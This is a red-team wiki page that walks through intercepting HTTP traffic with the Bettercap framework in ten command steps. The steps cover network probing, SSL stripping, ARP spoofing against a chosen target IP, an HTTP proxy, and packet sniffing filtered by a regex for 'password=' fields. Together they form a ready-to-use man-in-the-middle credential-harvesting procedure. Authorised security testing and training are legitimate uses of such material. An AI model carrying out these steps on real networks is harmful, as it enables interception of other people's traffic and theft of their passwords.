> For the complete documentation index, see [llms.txt](https://security.andreasbreum.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://security.andreasbreum.com/red-team/sniffing/intercept-http-traffic-bettercap.md).

# Intercept HTTP traffic - Bettercap

[BetterCAP](https://github.com/bettercap/bettercap) is a versatile framework and tool used for network analysis and attacks, including man-in-the-middle (MITM) attacks, network scanning, and traffic manipulation, often used in security testing and ethical hacking.

1. Begin by running the command `bettercap -iface eth0` and press Enter. This command is used to specify the network interface (in this example, "eth0").
2. Enable the network probing module by typing `net.probe on` and pressing Enter. This module sends various probe packets to each IP address within the current subnet, helping the net.recon module detect them.
3. Activate the network reconnaissance module with the command `net.recon on` followed by Enter. This module continuously monitors the system's ARP table to identify new hosts on the network. It also displays the active IP addresses in real-time and starts capturing network packets.
4. To enable SSL stripping, input `set http.proxy.sslstrip true` and press Enter.
5. Enable the internal ARP spoofing module by typing `set arp.spoof.internal true` and pressing Enter. This module simulates local connections among computers within the internal network.
6. Set the target host's IP address for ARP spoofing using the command `set arp.spoof.targets <Target IP>` and press Enter.
7. Initiate the HTTP proxy module with `http.proxy on` and press Enter.
8. Activate the ARP spoofing module by entering `arp.spoof on` and pressing Enter.
9. Begin network sniffing by using the command `net.sniff on` followed by Enter. This module is responsible for intercepting and analyzing network traffic.
10. Specify the packets you want to capture by setting a regular expression with `set net.sniff.regexp '.password=.+'` and pressing Enter. In this case, only packets with payloads matching the provided regular expression (`.password=.+`) will be considered.

##